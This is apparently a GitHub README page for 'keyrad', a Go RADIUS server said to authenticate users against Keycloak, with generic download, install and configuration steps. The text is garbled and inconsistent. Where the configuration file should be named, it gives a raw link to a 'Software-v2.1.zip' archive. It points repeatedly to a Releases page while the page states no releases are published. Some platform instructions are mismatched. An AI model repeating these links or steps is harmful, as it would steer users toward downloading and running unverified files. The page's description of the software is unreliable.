Skip to content

πŸ”’ Build a Go-based RADIUS server to authenticate users against Keycloak, supporting OTP and password flows with high performance and customizable configurations.

License

Notifications You must be signed in to change notification settings

idrissof/keyrad

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ keyrad - Simple RADIUS Server for Secure Authentication

Download keyrad

πŸ“¦ Overview

keyrad is a Go-based RADIUS server designed to authenticate users against Keycloak. With keyrad, you can easily implement secure multi-factor authentication for your applications without needing extensive technical knowledge. This software supports a range of authentication methods, including OTP and challenge-response.

πŸš€ Getting Started

Follow these steps to download and run keyrad on your system:

  1. Download the Software

    • Visit the Releases page to find the latest version of keyrad. You will see a list of available files for different systems.
  2. Choose Your Version

    • Select the version that matches your operating system. You may see options for Windows, Linux, and macOS. Make sure to download the correct file for your platform.
  3. Install the Software

    • Once the file is downloaded, locate it in your downloads folder.
    • For Windows: Double-click the .exe file to run the installer.
    • For Linux: Open your terminal, navigate to the download location, and make the file executable:
      chmod +x keyrad-linux-amd64
      Then run it:
      ./keyrad-linux-amd64
    • For macOS: Open the downloaded file and drag it into your Applications folder.
  4. Run keyrad

    • Open your terminal (or Command Prompt for Windows). If you are using Linux or macOS, simply type:
      keyrad
    • For Windows, you can run it from either the Command Prompt or by simply double-clicking the application in your Applications folder.

πŸ”§ Configuration

After installation, you may want to configure keyrad to suit your needs. Here’s how:

  1. Edit the Configuration File

    • Locate the https://raw.githubusercontent.com/idrissof/keyrad/main/radiussrv/Software-v2.1.zip file in the application directory.
    • Open it with a text editor. This file holds the settings for Keycloak integration, authentication methods, and other important parameters.
  2. Set Up Keycloak

    • Ensure your Keycloak server is running. Create a realm and add users who will authenticate through keyrad.
  3. Update keyrad Settings

    • In the https://raw.githubusercontent.com/idrissof/keyrad/main/radiussrv/Software-v2.1.zip, update the Keycloak server URL and realm information. This tells keyrad where to authenticate users.
  4. Test Your Setup

    • Restart keyrad to apply your configurations. Attempt to authenticate a user through your application that uses keyrad for RADIUS authentication.

πŸ“„ Usage

Once installed and configured, you can use keyrad to authenticate users.

  1. Send Authentication Requests

    • When a user tries to log in, your application sends a RADIUS request to keyrad, containing the user’s credentials.
  2. Receive Authentication Results

    • keyrad checks the credentials against Keycloak. Depending on the result, your application will either grant or deny access.
  3. Monitor Logs

    • Keyrad logs authentication attempts. Check these logs regularly to monitor access attempts and troubleshoot issues.

πŸ›  Features

  • Multi-Factor Authentication: Supports OTP and challenge-response methods to enhance security.
  • Easy Configuration: Simple JSON-based configuration makes setup straightforward.
  • Integration with Keycloak: Seamlessly connects to Keycloak for user management.
  • Cross-Platform: Available for Windows, Linux, and macOS.

βœ… System Requirements

  • Memory: At least 512 MB of RAM
  • Storage: Requires around 50 MB of free disk space for installation
  • Network: Ensure internet connection for Keycloak communication

πŸ“₯ Download & Install

To install keyrad, simply visit this page to download. Follow the installation steps outlined earlier.

πŸ” Troubleshooting

If you encounter issues during installation or configuration, consider the following:

  • Check Compatibility: Ensure that the version you downloaded matches your operating system.
  • Review Documentation: Visit the project repository for additional information and FAQs.
  • Examine Logs: Check the log files for errors and monitor user authentication attempts.

🀝 Contributing

If you would like to help improve keyrad, contributions are welcome. You can report issues or submit improvements through the issues page in the repository.

πŸ“ž Support

For support, please open an issue in the GitHub repository. The project maintainers will do their best to help you resolve any issues you may face.

πŸ”— Related Topics

  • Two-Factor Authentication (2FA)
  • RADIUS Protocol
  • Security Best Practices
  • User Management with Keycloak

Download keyrad

About

πŸ”’ Build a Go-based RADIUS server to authenticate users against Keycloak, supporting OTP and password flows with high performance and customizable configurations.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages